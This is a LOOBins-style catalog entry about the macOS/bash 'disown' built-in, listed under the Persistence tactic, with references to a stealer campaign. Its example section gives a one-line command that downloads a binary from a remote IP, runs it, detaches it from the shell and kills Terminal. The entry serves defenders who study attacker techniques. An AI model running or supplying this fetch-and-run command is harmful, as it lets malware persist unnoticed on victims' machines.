# disown

> Prevents a process from being terminated when a shell session or terminal is closed.

disown is a system utility that can be utilized to persist a shell process after a terminal has been closed or a shell session has been terminated. This is accomplished by preventing a SIGHUP from being sent to the running job, and removing the process from the shell jobs table. Unlike nohup which is used during process initialization, disown can be used to modify an existing process.

- Page: https://loobins.io/binaries/disown/
- Author: Gabriel De Jesus (0xv1n)
- Created: 2025-05-27
- Tactics: Persistence

## Paths

- `shell built-in command (bash)`

## Example Use Cases

### Start a process and remove it from the jobs table.

The following command downloads a remote binary, sets it to executable, executes the binary, disowns it from the shell it spawned from, and closes the terminal session.

```bash
curl -O http://1.1.1.1/updated && chmod +x updated && ./updated & disown && pkill Terminal
```

- Tactics: Persistence
- Tags: bash

## Detections

- No detection content at time of writing

## Resources

- [disown man page](https://linux.die.net/man/1/disown)
- [bash man page](https://man7.org/linux/man-pages/man1/bash.1.html)
- [Poseidon Stealer](https://www.esentire.com/blog/poseidon-stealer-uses-sora-ai-lure-to-infect-macos)